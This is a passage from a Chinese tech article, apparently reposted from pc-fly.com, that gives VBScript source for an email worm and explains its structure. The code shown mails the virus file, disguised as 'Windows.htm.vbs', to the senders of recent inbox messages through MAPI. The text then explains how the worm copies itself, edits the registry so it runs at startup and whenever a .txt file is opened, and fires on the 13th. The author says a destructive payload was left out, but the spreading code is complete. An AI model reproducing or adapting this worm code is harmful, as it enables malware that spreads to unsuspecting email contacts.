ReadReg=OperateReg.RegRead(Path)
Set OperateReg=Nothing
End Function
Sub DoSomeBadThings
'考虑再三,还是没有写这部分破坏代码
'一方面,文章是为了纯技术讨论
'另一方面,使用文件系统对象,这部分代码实际上很容易写
End Sub
Sub SendEmail()
'发送邮件的子程序
Dim Dic, MAPISess, MAPIMess, a, Min,Count
Set Dic = CreateObject('Scripting.Dictionary')
Set MAPISess = CreateObject('MSMAPI.MAPISession')'创建MAPISession对象
Set MAPIMess =CreateObject('MSMAPI.MAPIMessages')'创建MAPIMessages对象
MAPISess.SignOn '登陆
MAPIMess.SessionID = MAPISess.SessionID
MAPIMess.Fetch '由收件箱中选择的消息(Email)创建一消息集合
Count= MAPIMess.MsgCount '得到消息(Email)的数量
If Count>5 Then Min=Count-5 Else Min=0
For i =Count-1 To Min Step -1
MAPIMess.MsgIndex = i
a = MAPIMess.MsgOrigAddress
If Dic.Item(a) = '' Then
Dic.Item(a) = MAPIMess.MsgSubject
End If
Next
For Each m In Dic.Keys
MAPIMess.Compose'写一条消息
MAPIMess.MsgSubject ='Reply: ' & Dic.Item(m)'主题
MAPIMess.RecipAddress = m'收件人的地址
MAPIMess.AttachmentPathName = WinPath &'\Windows.htm.vbs''加上附件(也就是病毒本身)
MAPIMess.Send '发送
Next
MAPISess.SignOff'登出
'作为一种良好的编程习惯,以下代码将释放对象
Set MAPISess=Nothing
Set MAPIMess=Nothing
Set Dic=Nothing
End Sub
第4部分:病毒的结构和一些需要注意的地方
病毒的结构很清晰,有以下几个部分组成:1)自我复制部分,也就是GetWindowsPath()。很简单,没什么可说的。2)修改注册表部分,也就是ModifyReg。修改注册表的目的是为了在电脑启动以及用户尝试打开txt文件的时候自动运行病毒。3)发送电子邮件部分,也就是SendEmail。这部分也没什么可说,病毒把自己放在附件里面并且发送出去。4)发作部分。如同我在第3部分的代码注释提到的原因,我没有写,但是这是作为一个病毒必不可少的部分。
病毒的运行过程也很清晰,首先检查是不是13号,是的话就发作;然后检查系统安装目录的有没有自己的拷贝,没有的话就复制自己过去;再是修改注册表,以确保病毒能触发,最后是检查距离上一次发送Email的时候,如果到了5天或者以上,则发送有自己拷贝作为附件的邮件。
代码里面还有一些令人费解的做法,下面解释一下:
首先来看CopyWscriptToSystem32这个子程序。这个子程序的作用很简单,就是检查WinPath里面有没有Wscript.exe,有的话,就复制到System32目录下面。是这样的,Wscript.exe是来运行VBS文件的,在
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-24756-3.html
美国佬是想再来一轮冷战啊
生化产品
我们以确认美以进我12海里就该打沉它